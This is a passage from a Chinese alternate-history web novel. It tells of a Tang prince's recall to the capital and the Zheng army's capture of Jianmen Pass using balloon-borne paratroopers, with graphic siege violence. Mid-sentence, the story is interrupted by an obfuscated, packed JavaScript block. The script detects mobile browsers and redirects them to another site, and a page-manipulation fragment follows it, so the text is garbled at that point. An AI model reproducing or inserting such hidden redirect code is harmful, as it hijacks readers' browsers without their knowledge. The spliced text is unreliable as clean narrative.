长叹一声后,曹嘉低下头,看着如镜面般平整的江水被船头分割为两半,荡着阵阵涟漪向后流去,闻着带有淡淡鱼腥味的水汽,放宽了心。 回去后,就去侯爷那里考个教师资格证,待在静宁书院里,安安静静的教一辈子书,诗酒为伴,逍遥此生,做个闲人。 等等…… 曹嘉原本放松的心情猛的一揪,原本散漫的眼神猛的瞳孔一缩!手中的暖炉也“啪嗒”一声掉在了甲板上,溅出阵阵火星和丝丝青烟。 闲人…… 似乎是联想到了什么,他眉头紧皱,整个人身形不稳的向后退去,直到单手向后扶住船舱的木板才堪堪稳住平衡,心中暗叫不好! 怎么把他给忘了呀!! —— “李青莲曾有诗云:越人语天姥,云霞明灭或可睹。天姥连天向天横,势拔五岳掩赤城。天台四万八千丈,对此欲倒东南倾。我欲因之梦吴越,一夜飞度镜湖月。 你看这天姥山,在我等眼中虽说奇峻,可就算是穷尽一生才学,怕是也写不出这样的传世语句来!唉~~人生真短,只一晚看不尽阴晴圆缺,只一生走不完大千世界……” 阎改之放下手中的酒葫芦,面露不屑的对骑在自己身后的唐国八皇子李嘉说道: “看你那没有见识的样子,我承认这天姥山确实配得上‘越中盛景’和‘东南眉月’之称,但还不至于让你做出那般感慨,若你见过祁连山,就不会这样说了。 我还是喜欢最后一句:安能摧眉折腰事权贵,使我不得开心颜。我这辈子也是这样的志向,花朝廷的钱,游自己的山水,此生绝不钻营庙堂。” 李嘉闻言顿时好奇的问道:“祁连山是什么模样?” 阎改之揪着胯下的毛驴缰绳,思索着回忆道:“苍茫云海,无尽雪峰,看不到头的草原上骏马奔驰,有些山峦顶峰还有雪莲盛开,有时日光初升,金光抚顶……看见祁连山,你会觉得天地都很渺小。” 李嘉搂着阎改之的腰,努力想象着那种场景,还是有些无法将山和草原联系在一起,草原怎么会望不到头呢?唐国境内就没有望不到头的东西,除了茫茫东海。 就在户外探险二人组骑着任劳任怨的驴兄行走在林间小道上时,远处突然响起许多喊叫声,隐隐还有密集的马蹄声。 阎改之立刻抬腿从驴兄背上跳了下来,拉着缰绳来到路边,准备给来人让开道路。 下一刻,后方出现成队的披甲骑兵,各个腰挎配剑、背背箭筒,银枪向前、倒提长刀,不多时便奔至二人身旁。 不过他们并没有路过离开,而是在他们面前齐齐停了下来,数十骑将阎改之和李嘉围了起来,马儿身上的粪骚味裹着道路上的尘土扑面而来。 阎改之捂着鼻子挥散尘土,正要破口大骂,却被为首的那员将领一把拨开。对方径直走到李嘉身前单膝跪地,十分恭敬的抱拳说道“末将御前乌衣左卫朱昌,见过八殿下。” 李嘉皱着眉抬起头,和阎改之面面相觑后,伸手示意这个不知从哪冒出来的朱昌起身。 “殿下,京……” 朱昌正要开口,突然意识到了什么,又看向一旁的阎改之。 李嘉立刻说道:“此人乃我心腹至友,不必相避,说吧,什么事?” 朱昌盯着阎改之略微思忖了一番后,重新转身抱拳低首:“启禀殿下,京中出大事了!陛下召您速速回京面圣,旨意十万火急!请殿下速速上马,末将护送您返京。” 李嘉听后眉头一挑,漫不经心的挥手说道:“我不去。” 朱昌一听这话,立刻就急了!太子谋逆被圈禁,还杀了那么多权贵大臣,已经尽失人心,眼下整个大唐唯一还能合法继承帝位、又能被朝臣权贵们接受的人,就只有眼前这位了啊!! “殿下,金陵真的出大事了!您必须回去,陛下……陛下急召啊!!” 李嘉才不管什么大不大事急不急召的,他这段日子浪的可开心了,还难得有阎改之这么一个兴趣爱好和脾气性格都完全契合的朋友作伴,游山玩水好不快活,鬼才会回那个牢笼一般的金陵城。 当初自己夜醉在秦淮河,只是在河边睡了一觉而已,一没扰民、二没调戏妇女、三没耍酒疯。那帮咸吃萝卜淡操心的言官却跟有病一样上奏喷自己,还莫名其妙的挨了父皇一顿臭骂。 金陵城?狗都不回~ 朱昌见李嘉不理自己,又急又无奈,这位未来一定是大唐天子,自己总不能把他绑回去吧? 那样的话,虽然今天可以交差了,可陛下归天后呢? 就在这时,他突然注意到了一旁的阎改之,急中生智,连忙走上前去拉住对方的衣袖,用央求的语气说道: “先生,请你帮末将劝劝殿下,京城真的出大事了!天大的事!殿下必须回去面见陛下啊!这可是事关大唐社稷安危啊!!” 阎改之见面前脸色焦急的朱昌神情不似作伪,吸了口气后,不禁皱眉看向了李嘉。 “可能真的出事了,要不你还是回去看一眼吧。” 见阎改之也出言劝自己,李嘉不禁认真的思索起来,能出什么大事呢?就算是父皇快要驾崩了,不是还有哥哥们在?召集自己干嘛? “我回去……那你呢?” “我当然是继续逛啊,没事,等你处理完了,去豫章找我就行,我接下来一段时间会去那里。” 李嘉顿时就摇头了:“不行,你得跟我一块回金陵,事情处理完后我们一道去豫章。” 阎改之听后立刻就不乐意了:“喂!我跟你说了我……哎哎哎,你干嘛?你刚才不是还称我为先生呢吗你……” 朱昌闷头弯腰,一言不发的就把阎改之直接给扛了起来。 废话真多!今天就让你看看什么叫秀才遇到兵,有理说不清!收拾不了殿下,我还收拾不了你吗? 李嘉见状哈哈大笑着从驴背上跳了下来,在乌衣的搀扶下上了马背,对刚把阎改之丢上马背的朱昌说道:“把我那驴兄也一并带回金陵,你可得给我照顾好了,要是它瘦了,我唯你是问!” 说罢,他便调转马头。 “驾!!” 朱昌脸颊微抽的看着李嘉走远后,艰难的扭转脖子,看向立在道路边上,呲着一排大方牙的白嘴灰毛驴,不禁以手抚面—— “唉!” 当初唐国杯还没开始的时候,大家都在押注买彩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834130|172927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夺冠的热门人选就那么几个,吴、楚、越、闽四位王爷,还有太子殿下。 所以阎改之的同事们无一不是在他们几个之间做选择,这也难怪,巴西、阿根廷就摆在那里,随便押一个都是稳赚不赔的,不过就是赚的多少的问题。 谁会去买德国啊? 那不有毛病嘛! 而现在,开始揭露奖项结果。 李岐的谋反给金陵、甚至整个唐国带来的影响都是灾难性的,朝堂上的现任官员**了三分之一,权贵死伤超过一半,皇子直接断层,仅剩下李嘉这一棵独苗苗。 什么?李岐不算人吗? 李雄要是敢让那个屠了所有人三姑六舅七大姨的家伙继续做储君,那这大唐也就没有必要姓李了!! 能让他还活着,已经是皇家透支了几十年来积攒的恩情和威严,继位?你继一个试试! 八殿下李嘉,被唐国国主当场立为储君,以前明争暗斗的臣子世家们也不用再互相攻讦了,大家都去讨好八殿下吧,各凭本事,就看谁在他心目中的份量重。 但其实…这个也不用争,因为早就有人在他心中占据了无可替代的地位。 以前阎改之找上司要旅游经费时,还会被阴阳怪气一番,给的也抠抠搜搜,嚷半天也没几个子。 可现在,整个大郑帝国礼部衙门部署在唐国的细作系统,所有资源全部向他一人倾斜!只要他开口,哪怕是要天上的星星,魏尚书都会去司天监打听一下此事的可行性。 但阎改之觉得这一切都很无趣,他就想去看看豫章的滕王阁。 结果你猜怎么着? 文若得知了这个消息后,通知礼部给他安排行程。而李嘉虽然自己去不了了,但还是命人替阎改之安排,并且嘱咐豫章知府一定要照顾到位,他要什么,就给什么。 记住,是要什么,就给什么。 放眼整个天下,能让大郑太子和唐国太子同时看重并且留心安排的,只此一人。 连凌晨都做不到。 更可怕的是,日后两国的一代目各自龙御归天,文若就是大郑皇帝,李嘉就是大唐皇帝,这几乎已经是板上钉钉的事情。 到那个时候,阎改之的一举一动,将会牵动着所有人的神经。 好了,唐国已经废了,没个五年八年的时间,休想缓过劲来。王臣鹤也真的擦了擦界碑就回去了,得知京城剧变的温茂顿时感到有些欲哭无泪,还能这么玩…… 那么,孟贤侄,我们该聊聊了。 建隆三年中旬,刘廷让率领全部望云军,共计八千四百五十二人,秘密从汴京出发,踏上了前往汉中的征程。 大郑边境各州府郡县、北部行营、西部行营、东南行营全部进入一级战备状态。 李继贤开始率兵巡弋燕云地带;申屠明光亲临云中、九原的地方上视察民生问题;李孝通、柳耒、李卿一起围着李遗景,在他家院墙外开party;王臣鹤每隔一段时间就去巢湖钓钓鱼,偶尔还向温茂发出组队邀请,但老将军总是已读不回。 四月,西部行营都部署、长安府尹种平,被大郑皇帝拜为征西将军、益州牧。汉中地区的六万郑军、赵成义的三万降军,还有刘廷让即将到来的八千望云军全部交由他统一指挥。 十万北路军!! 驻守在江陵的镇南将军邵之祁被任命为西部行营副部署、诸卫大将军兼江陵太守、荆襄承宣使,统领节制江汉地区的所有郑军。 八万东路军!! 孟玄立刻做出了对应的部署,令国舅、剑阁防御使徐守敬率领六万蜀军扼守北部各地险关要道;令蜀中最后的大将刘永康带着新秀将领黄旭,率兵四万驻守永安,扼制住进川水路。 他自己则亲率三万人马留在成都,随时准备支援两地。 放马来吧,一决雌雄!! 第188章 剑阁天险 建隆三年,四月廿五,剑门关。 清晨的霜露凝结在草叶的表面,泛着晶莹的白亮。地平线初升的朝阳刚刚划破长空,黑夜散去,晨光微凉。空气中还带着些许寒意,久违了,春的消息。 好长啊,这一轮四季。 要用百年,来更替。 从朱温篡唐至今,已经过去113年了,这百年间,整个神州大地一直处在战火纷飞、哀鸿遍野的状态。 城头变换帝王旗,沃野千里无鸡鸣。无数枭雄、英雄都在为了结束乱世、统一华夏而抛头颅、洒热血,虽马革裹尸,亦九死不悔。 直到当今陛下风起汝南,纵横驰骋间,麦子已经熟了九次,这才使万里江山重归平静。百姓安居乐业,车马互通有无,再无离乱之苦,再无兵祸连年。 身着甲胄,头戴兜鍪,腰挎长剑的种平伸出手,将脖子上的袄巾扯了扯,双肩环扣的青绿披风被晨风吹动,随风摇摆,时而将风拟出形状,时而披落在胯下马背上。 他的身后,是刀锋如叶、枪尖如林、漫山遍野,占据道丛,一眼望不到头的大郑王师。 外面钉了一层铁片的木质盾牌,既轻巧又坚固,再配以短刀锋刃,先登营的悍卒一言不发;背后和腰间共背挎着三筒牛皮箭袋,每袋二十五支羽箭,长弓被满是老茧的粗手紧紧握住,弓兵们正在用锐利的眼神扫视着前方的巍峨城关,观察细节,寻找破绽。 明晃晃的甲胄反射着白光,长杆上的旗帜随风摇曳,穿过列队整齐的马步军,后方数十台工程车在砍去树木的平地、山坡上立好。无数石块被堆积在一旁,木桶里的火油被大勺捞起,泼淋在投发装置里,已经迫不及待的想要咆哮山林。 城头上的蜀军同样已经做好了准备严阵以待,擂石滚木、石块火油、弓箭长枪满满当当的堆在靠南一侧,无数人影站在北侧,火把已经点燃,长勾已经磨利。 身后就是千里川蜀,此刻已经没有退路。 种平独自一人离开中军阵营,驱马上前,来到了城关下的一箭之地外,远远的朝着城头上招了招手。 尽管这一战避无可避,但该有的流程还是不能少的,先谈后打,先礼后兵,人们复盘起来,好说也好听。 须臾,剑门关的城门被打开了,徐守敬同样也是独自一人策马飞奔,来到了他的面前,二人打马而立,静静望着对方。 徐皇后容貌清丽,气质上佳,同为胞兄的徐守敬自然也差不到哪里去。 浓眉如锋,菱眼清明,长年军旅生涯晒成里偏深的棕褐面色,右边嘴角处还有一道明显的伤疤,虽然痕淡,却依旧能够分辨出来。胡须修剪的不长不短,威严、英武、冷厉。 “徐国舅,久仰大名~” 占据优势和主动权的种平率先握着马鞭朝着对方拱手,徐守敬松开握着剑柄的手,同样也在马上还礼。 “人言种府尹乃是老关中王手下心腹爱将,今日一见,果然风采绝伦,名不虚传。” “呵呵呵呵~~” 种平礼节性的笑了笑,低下头用手抚摸着马脖子上的鬃毛,沉思片刻后,抬眼看向徐守敬: “别在死伤无辜了,西川不可能是大郑的对手,从古至今,就没有从益州夺取天下的先例……” 徐守敬不为所动:“敢问种府尹,先汉因何而立?” “汉中已经不在你们手中了,如今的大郑也不是当初崩乱离析的秦帝国,其实这一切你们都是知道的。”种平面色复杂的看着徐守敬说道: “我主仁义,纵观古今世所罕有。在下旧主、关中王之子问阶率滨归王,获封秦王,富贵加身,恩容甚重。若是蜀主肯率众归降,必不失封王之位,亦可免去无数将士死伤,这些国舅应当明白才是。” 徐守敬摇着头说道:“国主圣意,岂是我等臣子所能左右揣测的?食君之禄、忠君之事,我是军中战将,不懂朝堂权谋,旨意让我做什么,我便做什么。 况且府尹说的这些,自从贵主登基称帝之后就没有断过书信,要答应早就答应了,不必再浪费唇舌。此番之间,你我只能有一人活着离开剑阁,不是府尹踩着我的尸首南下成都,便是我提着府尹的首级兵临长安。 无论如何,守敬都有一言,想说与府尹听。取与不取,全凭良心。” 种平微微叹了口气:“唉…请讲。” 徐守敬目光悲怆的望着种平说道:“无论今日你我谁赢谁胜,勿要杀降,勿要伤民。” 种平听的皱起了眉头,紧紧盯着徐守敬的眼睛,面色郑重的点头说道:“一言为定。” “一言为定。” 说罢,二人调转马头,各自向着相反的方向离去,种平回到了中军帐下,徐守敬进入了城门。两侧缓缓关闭的厚重城门,将他的背影渐渐遮挡,直至消失不见。 清风吹起地面黄沙,日出东方,云霞满天。 下一刻,冒着滚滚黑烟和红焰的火球从平地飞起,呼啸着冲向了剑门城关。 “杀——” 郑军刀盾兵将盾牌举过头顶,手提钢刀如同潮水一般涌向了伫立了数百年、还会继续屹立下去青石城墙。十几把登城梯被士卒们扛在肩上,被厚重铁甲覆盖的撞车底下,三十多名雄壮的汉子青筋暴起,用尽全力向前缓缓推向城门。 城头上的蜀军被投石砸的血肉模糊,有些火油桶还被不幸点着,城墙被砸的轰隆作响、乱石飞溅!城内的营寨房舍也被砸塌点燃,四处火起,立刻就有人抬起装满沙土的藤框上前掩埋、扑打着灭火。 城上箭如雨下,“嗖嗖嗖”的破风声在耳边呼啸,不小心被射中的郑军接连倒下,还来不及哀嚎,立刻就被后续的箭矢射成了刺猬,满地都是尾羽在震颤,像是一片长满了羽箭的麦田。 冲到城墙下后,郑军士兵合力驾起登城梯,直接趴在了城垛下,而后便将盾牌举过头顶,单手捏刀,快速顺着梯子向上爬去。 蜀军立刻将铁锅里的火油点燃,顺着梯子泼了下去,烈火熊熊燃烧,将冲在最前方的郑军士卒烧成了火人,惨叫着从高空中跌落了下去,可他的位置立刻就被人补上,又有人悍不畏死的踩着还在着火的梯阶继续向上爬! 城上的蜀军十几个人一起举着长棍长枪,合力将郑军的登城梯推倒,向着后方倒了下去,连带着梯子上的郑军也失去平衡,四肢乱甩、七零八落的从高空中跌落,摔成了肉泥。 城垛上的蜀军也有不少被郑军弓兵射中脖颈、胸口和面首,惨叫着跌倒在城墙上,立刻就有人将他们扯着衣服拖走,又有人代替了他们的位置,继续向下射箭丢石。 滚滚黑烟升腾而起,如同翻墨一般污染了山川草野间的风景如画,沙哑的嘶吼、愤怒的辱骂、痛不欲生的惨叫将整片林谷震颤的异常喧嚣,太吵了…… 真的太吵了!! 双方从早上一直打到正午,郑军这才堪堪退去,徐守敬望着城墙下的满地尸体和鲜红血迹,心情并没有一丝一毫的轻松。 因为他周围的城墙上,蜀军士卒同样也死伤了不少,许多年轻的士卒哀嚎着、呻吟着惨叫不绝,有的头破血流、有的腿瘸手断,有的躺在地上口鼻吐血,惨不忍睹。 这才刚刚开始…… 正午过后,郑军好像集体午休了,并没有再来继续攻城,只有探马不停的在城下徘徊,似乎在观察着什么。 双方现在都在用寻常的作战方式互相试探,同时也在等对方锐气褪去。 一旦郑军出现疲惫的迹象,徐守敬可不是个只甘心防守的人,最好的防守只有一条,那就是进攻! 种平同样也在等蜀军成功抵御几回后,对剑门关城防充满自信,放下防备和紧张。到那时,好戏才刚刚开始。 日渐西斜,吃饱喝足的郑军又来了,双方又是一场你死我活、血肉横飞的厮杀。 剑门关旅游景区确实不是虚假宣传,强行攻打损耗实在巨大,而且基本很难登上城头。偶尔有一两个爬上去了,立刻就被无数尖枪戳成筛子,重新丢了下来。 大战一直持续了五六天,郑军死伤了一万多人,依旧没能攻下剑门关,于是种平便将营寨后撤了十五里,看起来似乎是要休息一段时间再继续。 徐守敬毫不犹豫的乘着夜色出了城关,率领蜀军袭击了郑军前锋大营,乱杀一通后放火烧寨,随后扬长而去。 “郑军也不过如此”的感受和言论,开始在蜀军营中蔓延,大家原本都还挺紧张的,六万打十万,听着就心虚。 可没想到咱家剑门关这么给力!郑军死伤都快接近两万了,我们这边才死伤了六七千人。照这样看,就算他们再来十万人马,恐怕也不见得能跨过去。 骄傲和松弛的心态充斥在每一名蜀军将士的心头,如果能把横扫天下的郑军给按着头塞回去,蜀国的国威和臣民自豪感将会提升一大个台阶。 到时候,哪怕是恢复当年陛下刚登基时的荣光,也不是没有可能。 信心倍增! 相比于北路的剑阁天险,东路的长江巫峡就没有那么好防守了。 刘永康是蜀中名将,业务能力一直受到外界尤其是汴京和金陵的关注,他还是孟玄的铁杆支持者,是孟蜀为数不多的横跨军政两界、并且还活着的大佬。 有趣的是,他不是川蜀人,而是来自牂牁蛮的一座普通寨子。 简单来说,这个人能打又能杀,精明缜密,为人还很低调。 但他最擅长的,是山林战。 由于实在没有足够威望的人来领导永安守军,孟玄只能让他来顶,还派了黄旭配合他。 但黄旭擅长的是骑兵作战。 也就是说,负责守卫长江巫峡的主副大将,都不通、或者说不精于水战。 蜀军中擅长水战的将领和老兵,都已经在江陵被迫投降大郑了,而且现在不光是缺人,还缺少战船。 这就很致命了。 你让核科学家去解决土地沙漠化问题、让刑法律师去处理婚姻财产案件,他就是名气再大、再怎么牛逼也两眼一抹黑啊! 蚂蚁总裁去了富士康,一月估计也只能拿五千,甚至可能都拿不到。跳水冠军去打cba,一整场下来,能不能摸到篮球都还两说。 术业有专攻,拉着老牛去孵鸡蛋,你这不是闹呢吗? 尽管刘永康已经将永安附近所有的小舟渔船都征集了过来,装满稻草柴火点燃后沿江而下以阻挡邵之祁的大郑水师,可却被对方布置了三条铁皮头船轻松破开。 除了收获了永安渔民的一片骂声外,刘永康连根毛都没有得到。 他又命人爬上巫峡两侧的悬崖峭壁,对着江中逆流而上的郑军射箭投石,emm……不能说完全没有作用,但还是杯水车薪。 邵之祁基本没有受到多大阻拦,轻轻松松的就率领五万人马越过了永安城,进入了奉节地界,离船登岸。 反正蜀军没有能够对自己造成威胁的水军,深入敌后怎么了?那咋啦? 打的过我就打,打不过我就跑,爷傲奈我何? 东路出现的问题很严重,这让孟玄十分焦虑,他知道郑军东路军只是辅攻,真正要命的是种平。 可要是放任不管,辅攻也未必不能变成主攻。 于是,他做了一个决定,命手下大将率两万人马,去支援奉节府。 至此,偌大的成都,就只有一万守军了。 得知这个消息的种平明白,时机已经成熟,剑阁不会有外援了。 “快快快!检查装备,填装好火油,” “不要洒出来,你想烤了自个吗蠢货!滚去舔干净!” “搞快点搞快点!!” 八千望云军全部准备完毕,被剑门关挡了大半个月的种平终于等到机会,重新率领大军尘土飞扬的奔至关下,最后一次叫徐守敬投降。 徐守敬冷笑一声,搞不明白种平是怎么了,都到这个时候了还在说这种废话,毫不犹豫的拒绝了他。 郑军再次攻城。 徐守敬望着和之前没有任何区别的郑军,忍不住摩擦了几下双手。最近连胜赢的他也有点按捺不住得意之心了,既然你们铁了心送人头,那就来吧! 手感火热啊~~ 第189章 云中谁寄锦书来 郑军又被打退了,这是第十六次了,有时候徐守敬都有点纳闷,种平这是在干什么呢? 除了强攻之外,他还可以挖地道渗透、佯装败退诱自己出关、或者搞点细作偷开城门之类的,无论哪一个,都不比闷头强攻强? 明知事不可为,还要硬着头皮干,这是在干嘛?他给文训立下过什么奇怪的军令状吗? 想不通就不想了,反正只要他进不来剑门关,其他的又有什么要紧呢? 五月十九,月明星稀。 探子来报,郑军大营一切正常,吃完晚饭后,他们散步的散步,赌钱的赌钱。许多士兵都没有穿铠甲,马背上的鞍也都卸了下来,和往常一样,可能明天夜里不会进攻了。 徐守敬听到报告后,也结束了巡视城防,这一个月来也挺累的,既然安然无恙,那就早点休息吧。 于是,在叮嘱城门守将提高警惕后,他就带着随从来到关后的城镇里,随便吃了晚饭,捧起从成都发来的书信读了读。 有孟玄询问自己情况的、有皇后询问自己身体状况的、有妻子担心自己的缠绵情话。徐守敬难得露出笑容,拿起笔来一一回复,尤其是给妻子的回信,里面极尽轻松惬意之词。 吩咐随从将信都拿出去发往成都后,徐守敬脱了鞋子,下人端来了一盆冒着热气的洗脚水,蹲在他身边替他洗脚。 泡进热水的那一刻,徐守敬舒服的双手撑榻,仰起脸闭上了眼睛,舒服~ “大人!大人!” 才刚听到一阵急促的脚步声从门外传来,一个披甲执挂的副将便脸色慌张的冲进了屋内,面色焦急的左右看了一圈后,急匆匆的来到了徐守敬面前。 他这副模样把徐守敬吓了一跳,他立刻起身从盆里光着脚走了出来,冷下脸问道:“郑军夜袭?” “呃……那…那倒不是。” 呼~ 吓老子一跳! 徐守敬无语的重新坐回榻上,挥手示意下人退下后,自己从一旁拿来布巾,一边擦脚一边说道:“不是郑军来偷袭,你慌什么?出什么事了,慢慢说。” 副将想给他形容一下,但又不知道该怎么描述自己看到的事物,张着嘴啊呜了半天,最终沮丧的对徐守敬说道:“您还是亲自出门看一下吧,院子里也能看到。” 徐守敬疑惑不解的擦干净脚上的水后,踩在木屐上站起身来,泰然自若的将布巾挂在木架上,看了一眼副将,好奇的走向门外。 副将见状连忙从榻上抓起一件锦袍,快速追了出去。 徐守敬走出门后,先是下意识的看向院子里,并无异常。 而后心有所感,顺着余光缓缓抬头看向夜空—— 数不清的流火在空中缓缓飘荡,无数颗火星以一种奇怪的、匪夷所思的模样从东北方向而来,铺天盖地的向着西南方向飘去,好像是……是从关外来的。 “嘶……” 受局限性思维的影响,徐守敬压根就没把高空中的热气球和人联想到一块去,他唯一能想到的就是天际流火。 但这流火也太多了吧!! 密密麻麻的望不到尽头,而且移动的速度真的好慢啊! 天降异象,究竟是吉是凶呢? “去,派人……” 徐守敬话说到一半又停住了,他本想让副将派人去通知一下附近的知府知县,防范流火伤人和引起山林火灾。后来一想又没有必要,这么多密密麻麻的流火,只要那些县太爷官老爷们只要不瞎,肯定能够看到并且作出部署。 站在屋檐下欣赏完这一神奇美妙的天象后,徐守敬有些累了,忍不住打了个哈欠,副将连忙将锦袍披在他身上。 徐守敬紧了紧身上的袍子,语气和善的对副将说道:“你也辛苦一天了,早些回去休息吧,今晚种平应该不会来了。” 副将听的有点心里怪怪的,不过还是立刻说道:“是,大人早歇,末将告退。” “嗯~” 夜里,徐守敬做了个梦,梦见天上云端立着一个着装怪异的仙人,仙风道骨、长须飘飘,还对自己说了些什么话,但因为隔得太远所以听不清。 而后没多久,他又梦到种平在照壁宫跟陛下下棋,两个人还笑着叫自己去评判棋局。他原本还想提着刀砍了种平呢,这下还真有点不好意思了。 于是,自己只好走到他们身边,心不在焉的看了一下,还向种平询问他怎么来成都的,种平笑着说:不是你把我放过来的吗? 什么?!我放你…… “咯咯咯~~” 耳畔传来了军镇伙营里养的大公鸡报晓声,嘹亮清脆。本来就被梦中场景惊到半醒的徐守敬迷迷糊糊的睁开眼睛,望着屋子里熟悉的陈设,窗外安静无声。 还早,再睡会儿~ 吃完早饭后,美美睡了一觉的徐守敬心情大好,信心十足的重新登上城头。说真的,以往他很抗拒种平来介入自己的悠闲生活,觉的很冒昧。但今天不知道怎么了,心里还真有点期待他来找自己。 也许是这一个月来已经习惯了对方的存在吧~ 一想到自己竟然产生了这种荒唐的念头,徐守敬立在原地笑了,无奈的摇了摇头。 来也好,不来也罢,日子还得过不是。 种平没让自己失望,巳时初刻,朝露刚刚被阳光晒散的时候,对方带着手底下的那帮拆迁队,和往常一样默契的如约而至。 但是今天他们很奇怪,并没有急着攻城,好像在等待着什么。 徐守敬对于这种细微的变化非常敏感,这说明对方的行为即将做出改变,只是自己还不知道会在何处改变。 他思忖了一番后,朝着立在一旁的副将招了招手。 “你亲自下去到城门口再检查一下,确认不要有问题。还有,问一问昨夜值守的士卒,埋在地里的大缸昨夜有无声响异动。” “是。” 时间一分一秒的过去了,种平和他身后的郑军依旧没有任何动作,这让徐守敬感到非常的不安和烦躁,还有一丝……莫名的心慌。 副将检查过了,城门没有任何问题,半埋进地里的大缸昨夜也安静如常,那就意味着并没有人挖地道。 嘶……奇了怪了,那他在整什么幺蛾子呢? 徐守敬满腹疑窦的用双手扶住城垛,向着城下的郑军阵型望去,他们明明已经做好了所有攻城的准备,却并不动手。 而且跟以往不同的是,这次种平的中军帐下多出了很多骑兵。 是什么让种平决定带上一堆骑兵来攻城的?城门破不开,骑兵过来那就是纯白给啊…… 嗯? 什么东西? 远处的山林尽头,渐渐出现了一些白点,好像是类似孔明灯的东西,这玩意徐守敬和蜀军熟啊,想当年可是…… 等等!! 徐守敬心中猛然一惊,联想到昨晚…… “报——” 一道急促的声音打断了他的思绪,一名探马模样的小卒满头大汗,扶着自己的膝盖气喘吁吁的爬上城墙,哭喊着奔至徐守敬身前,跪在地上大喊道: “不好了大人!关后突然出现了大批郑军,他们袭击了我大军粮仓、火油库,现在正在镇内四处纵火砍杀!!” 什么?! 徐守敬立刻上前焦急的问道:“看清楚有多少人吗??” “不……不知,事发突然,弟兄们都没有准备,现在乱成一团!只知道他们还有马匹,小人粗略估算,怕是不下万人!!” “你放屁!!” 徐守敬实在忍不了了,一脚就将面前的探马小卒踹翻在地!不下万人的骑兵??那一定是国内出事了,绝对不可能是郑军!! 剑门关还没有破,种平怎么可能将上万的郑军送到自己背后??就算他们模仿当年邓艾偷渡阴平,马匹又怎么解释?山路小径崎岖难行,悬崖峭壁纵使人肯跳,马怎么会跳呢?跳下去怎么可能活呢? “不要慌,定然是先前的乱贼余孽勾连郑军,妄图虚张声势制造混乱!速调人马前去……” “将军!!将军!!” 徐守敬正在发令调遣准备应对,却不想身旁他最信任和倚重的副将却跟发了疯似的冲过来摇晃自己的胳膊,徐守敬一把甩开他,又惊又怒的斥问道: “你疯了么?要做什么??” 那副将双目瞪的滚远,仿佛看到了什么惊恐的事物,结结巴巴的指向徐守敬身后的天空。 徐守敬皱着眉心烦意乱的回头瞥了一眼,又转过头来,刚想对他开骂,忽然神情猛的一愣,又急忙扭头看向身后的天空。 称霸天空,大地将匍匐在我的脚下!! 漫天飞雪,无数白色的、奇形怪状的东西像蒲公英一样充斥在整片天空,微微摇摆着缓缓降落。 直到现在徐守敬才看清楚,天空中密密麻麻的巨大的白色孔明灯上,不断有人从下面的…… 火筐? 他们从火筐中跳落下来,又猛的从背后升起一片白色的圆顶布,有的手持钢刀、有的手握弓弩,面色平静的可怕。 “天……天兵……” 躺在地上的探马小卒已经彻底傻眼了,结结巴巴的指着天上的望云军结结巴巴的说出一句。 听到这句话后,城头上的蜀军彻底慌乱了,他们哪见过从天上下来的人啊!全都以为是天兵驾到,纷纷跪在地上朝着天空磕头。 “杀——” 城下传来了震耳欲聋的喊杀声,徐守敬明白,这是种平开始攻城了。 “快起来!那不是什么天兵,那是郑军!用弓箭射!把他们射下来!快!!!” 徐守敬心急如焚的在城头上踢着士兵的身体,揪着他们的衣领把他们提了起来,呼喝着叫他们反击,但蜀军士兵明显都不敢这么做。 西川道观颇多,江东佛寺遍布,所以在这些士兵心目中,天兵是可能存在的,而且今天他们也亲眼见到了。 让他们朝神仙射箭?开什么玩笑! 别说徐守敬了,就是孟玄亲自来下场指挥,蜀军士兵们也未必敢听令! 封建迷信害死人呐~ 徐守敬见根本指挥不动手下,立刻从一个弓兵手中抢过硬弓,张弓搭箭拉满弦月,朝着天空中的一个望云军士兵射了出去! 他的箭术很准,力道也很强,一箭就射中了那名望云军士兵的降落伞,下降的速度明显加快了。 这名望云军士兵立刻挥刀割断主伞,把副伞打开,这才堪堪稳住。 下一刻,天空中箭如雨下。 还是那句话,高打低,打傻逼。城头上的蜀军对于天空中的伞兵们来说,根本没有任何遮掩,无数蜀军士兵中箭倒地,连徐守敬的左肩也中了一箭! 好在副将及时从一旁的破料堆里扯来一块抬石头的大木板,顶在头上拉着徐守敬就往城楼里跑,这才没让防御使大人被射成刺猬。 “快!别管我,快叫人反击!反击啊!郑军已经爬城墙了!” 副将把徐守敬刚刚拖进城楼里,徐守敬就忍着疼痛扯着他的衣服叫他快去通知下面的将士。 副将慌张的点了点头,立刻就拖着插满了箭矢的木板又要往外跑。结果却看到那些天兵一个接一个的落在了城墙上,他们解下背包后,举起钢刀就朝着城楼里面杀了进来!! 讲道理,能做剑阁防御使、当朝国舅的副将,他的武艺是不低的。 但李元芳见到滴血雄鹰的无头将军后,不还是愣在原地,连剑都不敢拔么? 刘廷让一刀砍翻这名手脚发软的副将,径直来到了徐守敬面前。徐守敬咬着牙抽出佩剑,忍着伤痛艰难的站了起来,举剑相迎。 结果没几个回合,就在刘廷让和其他望云军的围殴下失去了抵抗能力,重重的倒在了地上,佩剑也被踢向一边。 徐守敬绝望的闭上了眼睛,完了,全完了。 剑阁失守,整个西川将无险可守,成都必破,大蜀……大蜀…… 无数郑军持盾握刀爬上了剑门关的城头,飘进关内的望云军们全部集中到城门口,杀散已经傻眼的蜀军,打开了厚重的城门。 下一刻,大郑铁骑奋蹄扬鞭,如猛虎下山般源源不断的冲进了城中。 第190章 云淡风轻 汴京,临颍侯府。 凌晨大马金刀的坐在自家庭院里的凉亭中,生无可恋的扭过头去,看向花园里。 洛阳府尹贾建新送来的当地牡丹栽种在松软的泥土里,整个园子一片翠绿如碧,阳光照射在花叶上,隐隐泛出淡淡的黄光。粉嫩的牡丹蕊芯透血,姹紫嫣红、开遍芳丛。 还有桃红色的、黑红色的、纯白色的,其中还有一朵绿色的牡丹,听贾世伯的管家说,这玩意一株两千两。 白银。 